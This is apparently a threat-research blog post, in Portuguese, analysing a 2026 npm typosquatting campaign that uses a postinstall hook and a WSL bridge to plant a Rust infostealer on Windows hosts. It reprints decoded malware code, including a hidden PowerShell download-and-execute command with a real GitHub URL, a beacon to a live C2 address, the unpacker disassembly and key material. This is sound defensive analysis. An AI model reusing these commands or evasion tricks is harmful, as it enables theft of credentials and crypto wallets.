Voltar
Tabela de conteúdo
Vikas Kundu
A naturally curious mind driven by the need to understand how things work and how to make them better. Passionate about learning, experimenting, and exploring new ideas across technology and security.
Nenhum item encontrado.

Resumo Executivo

Em agosto de 2026, um operador publicou quarenta pacotes no registro público npm, cada um sendo um erro de digitação de uma das bibliotecas mais instaladas no ecossistema: chalk, axios, commander, lodash, react e typescript. Todos os pacotes continham um script de instalação. Os pacotes npm já foram removidos. A parte relevante da campanha nunca esteve no npm. O script de instalação é um mensageiro. Ele traça o perfil do host, reporta a um servidor de comando e controle e, então, faz uma pergunta: esta máquina é Windows ou um ambiente Windows Subsystem for Linux rodando sobre ele? Se a resposta for sim, ele decodifica uma instrução oculta e atravessa a fronteira que normalmente separa o shell Linux de um desenvolvedor do host Windows subjacente, baixando e executando um executável nativo do Windows que o pacote npm nunca conteve.

Esse executável é um programa Windows de 22 megabytes escrito em Rust, hospedado não no npm, mas como um ativo de lançamento no GitHub. Os pacotes npm são descartáveis e já se foram; o payload do GitHub não. Ele sobreviveu a eles por aproximadamente 39 horas, e seu contador de downloads foi observado subindo de 119 às 01:50 UTC em 17 de agosto para 173 às 18:49 UTC do mesmo dia — 54 puxadas em menos de dezessete horas, após os pacotes que apontavam para ele terem deixado de existir. Ele foi removido apenas durante esta análise: toda a conta bebraz1 retornou 404 dentro de quatro horas após essa última leitura. A remoção do npm, por si só, deixou a arma no lugar. Quase nada desses 22 megabytes é o programa. O código executável tem 265 kilobytes, aproximadamente um por cento do arquivo. Os outros 98,6 por cento são uma sequência única e ininterrupta de 22.638.592 caracteres hexadecimais: um payload criptografado de 11 megabytes escrito como texto e carregado dentro do binário. O main.exe é um wrapper: ele decodifica esse texto de volta para bytes, descriptografa-o e executa o resultado dentro de seu próprio processo. Nada é gravado no disco e nenhum segundo processo é criado, razão pela qual um endpoint que procura por um arquivo descartado ou um processo filho incomum não vê nada.

A CloudSEK detonou o executável em um ambiente Windows isolado. Ele identifica o endereço IP público da vítima e, em seguida, tenta fazer o upload para o gofile.io, um serviço público e anônimo de compartilhamento de arquivos. Ele não envia sinais para a infraestrutura do atacante para exfiltrar; ele usa um serviço legítimo que não pode ser derrubado como se fosse um domínio criminoso. Capturar a memória do convidado enquanto o payload ainda estava em execução recuperou o que a validação de certificado estava protegendo: o estágio descompactado carrega três listas de alvos, já expandidas para a conta da vítima, cobrindo vinte e seis caminhos de carteiras de criptomoedas desktop, os armazenamentos de credenciais, cookies e histórico de navegadores da família Chromium, e o diretório de sessões do Telegram Desktop. Ele carrega caminhos para instalações do Brave que não existiam na máquina de análise, que é como uma lista de alvos codificada se revela, e ele já havia montado um perfil de hardware da máquina e o cabeçalho multipart do upload. Este é um ladrão de criptomoedas, credenciais de navegador e sessões de mensageiros.

Análise

A campanha tem duas camadas com ciclos de vida opostos. A camada npm é barulhenta, barata e descartável: quarenta pacotes de falsificação publicados em um registro público e retirados, já removidos. A camada de payload é silenciosa e durável: um executável Rust no GitHub e uma rota de exfiltração através de um host de arquivos público, nenhum dos quais foi afetado pela remoção do npm. Ler a ordem de trabalho torna o design legível, portanto, as seções a seguir seguem o mesmo caminho que o malware, desde o gancho de instalação até o upload.

Figura 1. A cadeia de entrega completa, recuperada de ponta a ponta. Os estágios 1 a 3 são executados dentro da instalação npm em um host Linux ou WSL; o estágio 3 decodifica a instrução que cruza para o host Windows, onde os estágios 4 a 6 são executados. A mudança de cor marca a fronteira que a campanha foi criada para cruzar.

‍Cronologia

Date (UTC) Event
2026-06-20 The GitHub account bebraz1 is created. Its name and bio are both the literal string null.
2026-08-12 bebraz1 creates a first repository, 123.
2026-08-15 bebraz1 creates qPzM50V1AKG0rVlH and publishes the release asset main.exe under a release tag literally named null.
2026-08-16 All forty packages are published to npm between 02:48 and 02:56 UTC, after an operator test package at 02:28, and are unpublished the same day between 04:07 and 04:12 UTC — a live window of about 84 minutes.
2026-08-17 CloudSEK catalogues the campaign and detonates the payload. The GitHub asset is still live at 19:20 UTC; by 23:12 UTC the whole bebraz1 account returns 404.
2026-08-18 The C2 at 193.70.34.101:20099 is still answering. Registry probing recovers three further campaign packages.

Tabela 1. Linha do tempo. As linhas do npm são provenientes de registros do repositório, que sobrevivem à despublicação e são precisas até o segundo. As linhas do GitHub são provenientes de metadados capturados antes da remoção da conta e não podem mais ser rederivadas da fonte.

A ordenação é a parte que merece atenção. O payload estava no GitHub vinte e três horas antes de o primeiro pacote npm ser publicado — o lançamento foi ao ar às 03:19 UTC em 15 de agosto, o primeiro pacote às 02:28 UTC em 16 de agosto — em uma infraestrutura que não responde ao npm. Os mensageiros duraram 84 minutos; o payload sobreviveu a eles por aproximadamente 39 horas. Lemos esse sequenciamento como um planejamento deliberado, embora a ordenação seja a evidência e a intenção seja a nossa interpretação dela.

Análise de Malware

Cada etapa abaixo foi recuperada diretamente dos pacotes e do payload. Os pacotes npm foram removidos do registro, portanto, seus conteúdos foram lidos a partir de cópias arquivadas da CloudSEK; o payload foi lido e executado a partir de uma amostra com hash verificado. A ordem é a ordem de execução.

Estágio 1: o mensageiro

A maioria dos pacotes é um erro de digitação de um único caractere ou uma transposição de uma biblioteca popular; uma minoria escreve a biblioteca corretamente e anexa um sufixo de subpacote plausível, o que é namespace-squatting em vez de typosquatting. Um não é nenhum dos dois. Todos foram publicados na versão 1.0.0 com um gancho de instalação. Os nomes se agrupam em seis famílias pela biblioteca que imitam, listadas na íntegra no Apêndice A. Instalar qualquer um deles executa scripts/postinstall.js automaticamente.

Estágio 2: o sinalizador de instalação

O script de instalação reporta a um servidor de comando e controle codificado. O destino não está escrito como uma string; ele é montado a partir de um array em tempo de execução, portanto, um scanner que busca por um endereço IP no pacote não encontra nada. O que ele envia é menos do que ele coleta, e a diferença vale a pena ser declarada com precisão: o script cria um perfil de host mais completo — versão do Node, arquitetura, plataforma — e então o descarta. O corpo da requisição carrega apenas um rótulo genérico.

const TELEMETRY = {
  host: ['193', '70', '34', '101'].join('.'),   // = 193.70.34.101 (OVH)
  port: 20099,
  path: '/vote',
  get addon () { return unpackSegment(ADDON_ENC, ADDON_KEY) }
}


collectEnvSnapshot()  -> { node, arch, platform }   // computed, then DISCARDED
sendInstallMetrics(profile.label)
  -> POST /vote   body: JSON.stringify({ platform: label })
     label is one of  'Windows' | 'MacOS' | 'Linux'

Figura 2. O sinalizador, de scripts/postinstall.js. O endereço C2 é construído a partir de seus octetos para derrotar a correspondência de strings. Apenas um rótulo genérico do sistema operacional é transmitido; o perfil mais rico que o script monta nunca deixa a máquina. O sinalizador é um censo, não um canal de reconhecimento.

Estágio 3: o portão WSL

Antes de implantar qualquer coisa no Windows, o script confirma se está em um local de onde pode alcançar um host Windows. Ele considera uma plataforma win32 nativa como elegível e trata um ambiente Linux como elegível apenas se esse Linux for o Subsistema Windows para Linux, o que ele detecta de três maneiras: primeiro pelas variáveis de ambiente e, em seguida, por dois arquivos em /proc.

function isVirtualizedLinux () {
  if (process.platform !== 'linux') return false
  if (process.env.WSL_DISTRO_NAME || process.env.WSLENV) return true
  const procVersion = fs.readFileSync('/proc/version', 'utf8')
  if (/microsoft/i.test(procVersion)) return true
  const osRelease = fs.readFileSync('/proc/sys/kernel/osrelease', 'utf8')
  if (/microsoft/i.test(osRelease) || /WSL/i.test(osRelease)) return true
  return false
}

Figura 3. A detecção do WSL, a partir de scripts/postinstall.js. Um desenvolvedor executando npm install dentro do WSL é tratado como uma rota para a máquina Windows subjacente.

Windows Subsystem for Linux runs a real Linux environment on top of a Windows host, sharing the same disk and the same user. A program inside WSL can invoke Windows executables directly.

It is a door between two rooms that most developers think of as separate: the Linux shell where they run npm, and the Windows desktop where they keep their browser, their credentials and their wallet. The door is normally a convenience.

This campaign uses it as an attack path. An npm package, which a developer expects to affect only their project, reaches through the door and runs a native program on the Windows side, where the things worth stealing actually are.

Estágio 4: cruzando a fronteira

Quando o portão é aprovado, o script decodifica quatro matrizes de bytes com um XOR de chave repetida (a chave é a string stf2026) e monta um comando de download e execução. A decodificação recupera a URL do payload e uma ponte PowerShell oculta na íntegra.

// XOR key: 'stf2026'   byte ^ key.charCodeAt(i % key.length)


ADDON_ENC          -> https://github.com/bebraz1/qPzM50V1AKG0rVlH/releases/
                        download/null/main.exe


BRIDGE_LAUNCHER    -> powershell.exe -WindowStyle Hidden -NoProfile
                        -NonInteractive -ExecutionPolicy Bypass -Command "
BRIDGE_SCRIPT_PRE  -> $p = Join-Path $env:TEMP 'main.exe';
                        Invoke-WebRequest -Uri '<url above>'
BRIDGE_SCRIPT_POST -> ' -OutFile $p -UseBasicParsing;
                        Start-Process -FilePath $p -WindowStyle Hidden

Figura 4. A entrega decodificada, chave XOR stf2026. O payload é baixado para %TEMP%\main.exe e iniciado sem janela visível, executado no host Windows a partir da instalação do WSL.

Duas escolhas nesse comando merecem destaque. O download e a execução ocorrem sem janela, portanto, nada aparece na tela da vítima. E toda a instrução foi transportada como bytes codificados dentro do pacote npm, de modo que nem a URL nem o PowerShell ficaram visíveis para quem lesse o pacote como texto.

A ponte PowerShell é apenas metade da entrega, e os defensores devem saber qual metade estão observando. É o caminho do WSL: o script marca um host como necessitando da ponte apenas quando o Linux em que está sendo executado acaba sendo o WSL. Em um host Windows nativo, não há PowerShell. O script de instalação decodifica apenas a URL do payload, baixa-o com o próprio cliente HTTPS do Node e o inicia por conta própria.

native win32 branch  —  no shell, no PowerShell, no command line


installNativeAddon()
  url  = unpackSegment(ADDON_ENC, ADDON_KEY)      // only this one array is decoded
  dest = path.join(process.env.TEMP, 'main.exe')
  https.get(url, ...)                             // Node's own client, not curl/IWR
  spawn(dest, [], { detached: true, stdio: 'ignore', windowsHide: true })

Figura 4b. A outra ramificação. Uma regra de detecção baseada em um gancho de instalação que gera o powershell.exe vê as vítimas do WSL e ignora completamente as do Windows nativo, porque, nesse caminho, o processo Node realiza o download e o lançamento por si só.

Estágio 5: o payload, estaticamente

main.exe é um executável Windows de 22 megabytes escrito em Rust. Ele é idêntico em hash ao ativo do GitHub. A explicação óbvia para seu tamanho, de que o Rust vincula seu tempo de execução estaticamente, está incorreta, e notar que ela está incorreta é o que abre o restante da análise.

file    PE32+ executable (GUI) x86-64, 10 sections, for MS Windows
sha256  6f088ade49456db2422c3edfbb9998f4a3e9cce7c4c00a7279fb45d672a82b7d
size    22,969,344 bytes
build   Rust, target x86_64-pc-windows-gnu (msvcrt/ntdll imports; .CRT/.idata sections)
rustc   commit 8bab26f4f68e0e26f0bb7960be334d5b520ea452
imports KERNEL32, msvcrt, ntdll, api-ms-win-core-synch  (minimal)


section sizes:
  .text     265,728 bytes    entropy 6.33     <- the entire program
  .rdata 22,673,408 bytes    entropy 4.02     <- 98.7% of the file
  all others combined      29,184 bytes


anti-analysis:
  PE TimeDateStamp zeroed to 0        (defeats build-time timeline analysis)
  GUI subsystem                       (runs with no console window)
  no endpoints or target paths in cleartext anywhere in the file

Figura 5. Fatos estáticos para main.exe. Um programa de 265 kilobytes carrega uma seção de dados somente leitura de 22 megabytes, e essa proporção é a anomalia que vale a pena investigar.

Um valor de entropia de 4,02 em 22 megabytes é o indicador. Dados compactados ou criptografados medem perto de 8,0 e dados de programas comuns variam; uma seção que mantém um valor fixo de 4,00 por vinte megabytes consecutivos não é nenhum dos dois. Um censo de bytes explica isso: a seção usa dezesseis caracteres distintos, cada um com quase exatamente 6,25 por cento. Dezesseis símbolos igualmente prováveis carregam exatamente quatro bits cada, portanto, a entropia é 4,00 por construção. Os caracteres são 0-9 e a-f.

.rdata byte census (22,673,408 bytes)
  printable ASCII  99.9%      NUL 0.0%      bytes >= 0x80  0.0%
  most common:  'a' 6.3%   '3' 6.3%   '8' 6.2%   'f' 6.2%   'd' 6.2%
                '2' 6.2%   '0' 6.2%   'e' 6.2%   ... sixteen symbols, ~6.25% each
  entropy per megabyte:  4.00, 4.00, 4.00, 4.00 ... for 20 consecutive megabytes


one contiguous hexadecimal run of 22,638,592 characters begins at file offset 0x43e4c:
  52c11f246309cce5556a00408bafb9868622114903dbd8128dc4ce3eca2df27a ...

Figura 6. A seção de dados somente leitura não é composta por dados colocados lá pelo compilador. É uma enorme string hexadecimal, que é um payload escrito como texto.

Estágio 6: o que o wrapper carrega

Decodificar esses caracteres de volta para bytes resulta em 11.319.296 bytes com uma entropia de 8,000, o máximo absoluto. Isso são dados criptografados ou compactados e não um programa que pode ser lido diretamente. O próprio código do wrapper confirma tanto o tamanho quanto o método: ele aloca exatamente esse número de bytes antes de começar a decodificar, e o loop de decodificação lê a seção dois caracteres por vez.

0x140001b60   mov   ecx, 0xacb800            ; 11,319,296 - the exact decoded size
0x140001b65   call  0x14000fe20              ; allocate that buffer
0x140001b90   lea   rbx, [rip + 0x436b5]     ; -> the hexadecimal run
0x140001b9a   mov   cl, [rbx + r14*2]        ; first character of the pair
0x140001b9e   lea   ebp, [rcx - 0x30]        ; '0'-'9'
0x140001baf   add   cl, 0xa9                 ; 'a'-'f'
0x140001bb9   add   cl, 0xc9                 ; 'A'-'F'
0x140001bc5   mov   cl, [rbx + r14*2 + 1]    ; second character of the pair
0x140001bff   shl   bpl, 4                   ; high nibble
0x140001c03   add   r15b, bpl                ; combine into one byte
0x140001c06   mov   [rax + r14], r15b        ; store
0x140001c15   cmp   r14, 0xacb800            ; until the whole payload is decoded


decoded blob:  11,319,296 bytes   entropy 8.000   (encrypted, not a plain executable)
sha256         6888d4c54ef2b5bf23889f9637c2efe77e1d2af4724d315b73d646cf5547dc73

Figura 7. A rotina de descompactação, recuperada do código do wrapper. A constante 0xACB800 recorre através desta função — dimensionando o buffer, definindo o comprimento do vetor, encerrando o loop — e nove vezes em toda a seção de código.

A cifra identifica-se duas vezes. Perto do início da seção de dados, cerca de oito kilobytes antes da sequência hexadecimal, encontra-se a tabela de constantes de rodada SHA-256 de sessenta e quatro entradas e, imediatamente acima dela, uma constante de dezesseis bytes a dois caracteres de distância da string de inicialização ChaCha20. A diferença não é um erro de digitação: ela preserva o comprimento exatamente, excluindo o n de expand e inserindo um 2 antes do 32.

0x140043060   65 78 70 61 64 20 32 33 32 2d 62 79 74 65 20 6b   |expad 232-byte k|
              the algorithm specifies                            'expand 32-byte k'


0x140043070   98 2f 8a 42 91 44 37 71 cf fb c0 b5 a5 db b5 e9   SHA-256 round constants
              (0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5 ... little-endian)


key material loaded by the unpacking routine:
  0x140001c45   32 bytes from .rdata+0x00   b037c12805cbc47ea1247ec2c9e16494
                                            ed61c1982cbd45be3f01ddd9353f026c
  0x140001c7e   32 bytes from .rdata+0x20   8b604d8e2079d2375b2888e44ac492dd
                                            5b3f19d74777d91fed30e175df27fa44
  0x140001c62   12 bytes as immediates      f7d0038f50e382710a33c52e

Figura 8. As constantes da cifra. Alterar a string de inicialização não custa nada ao autor, porque o wrapper só se comunica consigo mesmo, e isso quebra todas as regras de detecção escritas contra o valor padrão.

Reconstruir a descriptografia apenas a partir desses parâmetros não reproduziu o payload. Nenhuma constante, em qualquer posição de chave, com o valor de doze bytes como nonce, em qualquer início de contador, e nenhuma na variante de nonce estendido, produziu nada além de ruído, portanto, a construção exata não é reivindicada aqui. Não precisava ser resolvida: o wrapper realiza a descriptografia por conta própria, e a análise simplesmente precisava estar presente quando isso ocorresse.

Antes de tudo isso, uma rotina adicional é executada. O wrapper inicia um loop de 552.054 iterações de cálculos aritméticos cujo resultado nunca é utilizado, mede o tempo decorrido e, se a conclusão ocorrer em nove milissegundos ou menos, aguarda meio segundo antes de prosseguir. Um loop que não computa nada serve apenas para consumir tempo, e medi-lo serve para detectar um ambiente que não está dedicando tempo real à tarefa.

0x140001abb   mov   ebx, 0x1cb6              ; seed
0x140001ac3   call  0x140032c60              ; read the clock
0x140001aeb   rol   rbx, 3                   ; junk arithmetic, result discarded
0x140001aef   add   rbx, r14
0x140001b08   cmp   r14, 0x86c76             ; 552,054 iterations
0x140001b16   call  0x140032df0              ; read the clock again
0x140001b3b   mov   r8d, 9                   ; compare elapsed against 9 ms
0x140001b4b   mov   edx, 0x1dcd6500          ; 500,000,000 ns
0x140001b50   call  0x140040000              ; ... and sleep half a second

Figura 9. O atraso. Ele retarda a execução e mede esse intervalo, permitindo que a amostra verifique se está sendo executada em um ambiente que tenta acelerar o processo.

Por fim, o wrapper revela o que pretende produzir. Três fragmentos estão presentes na seção de dados: um nome de arquivo base, uma extensão e um arquivo de configuração completo de aplicação .NET. Um .exe.config só tem utilidade se estiver ao lado de um executável real no disco, e este especifica o runtime necessário para esse executável.

ez_run_    .exe    exe.config<?xml version="1.0" encoding="utf-8" ?><configuration>
  <startup useLegacyV2RuntimeActivationPolicy="true">
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8"/>
    <supportedRuntime version="v4.0"/>
    <supportedRuntime version="v2.0.50727"/>
  </startup></configuration>


[LOG] Payload unpacking and decryption completed in 


cmd.exe /e:ON /v:OFF /d /c "

Figura 10. As strings do próprio wrapper, conforme aparecem no arquivo: um nome de arquivo base, uma extensão e uma configuração de aplicação .NET completa que solicita o Framework 4.8, com fallback para v4.0 e CLR v2.0.50727. Elas descrevem um caminho de "soltar e executar" — criar um ez_run_<nome>.exe com a configuração correspondente ao lado — que nunca foi observado nesta compilação: em execuções repetidas, nenhum arquivo desse tipo apareceu e nenhum runtime .NET foi carregado. Essas strings devem ser interpretadas como uma capacidade geral do packer, e não como o comportamento desta amostra específica. A linha de log é real; o wrapper de fato mede o tempo da sua própria descompactação.

RESULT: main.exe is a delivery wrapper. Its cargo is carried as hexadecimal text, encrypted under a deliberately non-standard cipher constant, decoded and decrypted at runtime, and executed without ever being written to disk.

Estágio 7: o payload, dinamicamente

Como não há nada legível no arquivo, o comportamento do payload foi determinado executando-o em um ambiente Windows isolado, sem acesso à internet, onde uma rede sintética respondia às suas solicitações de forma convincente e as registrava.

O payload é ativado quase imediatamente e termina em menos de um minuto. Amostrar a lista de processos uma vez por segundo durante a execução revela o padrão: o processo surge, seu conjunto de trabalho salta de 2,6 megabytes para 52 megabytes em cerca de um segundo, enquanto o wrapper decodifica e descriptografa onze megabytes na memória; ele permanece nesse estado enquanto trabalha e, em seguida, desaparece.

Figura 11. O payload em execução no ambiente de análise. O loop amostra a lista de processos aproximadamente a cada três segundos — o comando tasklist não é leve em um ambiente com dois núcleos —, portanto, estas sete linhas abrangem cerca de vinte e três segundos. O salto de 2.608 K para 52.112 K entre a primeira e a segunda amostra representa a descompactação: o texto hexadecimal sendo convertido de volta em um executável de onze megabytes na memória.

Em relação ao tempo, a sequência é precisa. O instante de inicialização é registrado dentro do ambiente convidado pelo script de controle que inicia a amostra e gera seu próprio registro de data e hora; as duas solicitações de rede são registradas no lado do host pela rede sintética. Comparando os registros, a chamada de reconhecimento ocorre entre 18,9 e 20,0 segundos após o início nas duas execuções em que ambos os registros foram preservados, com a tentativa de upload ocorrendo 0,18 segundos depois.

‍

‍

Blogs relacionados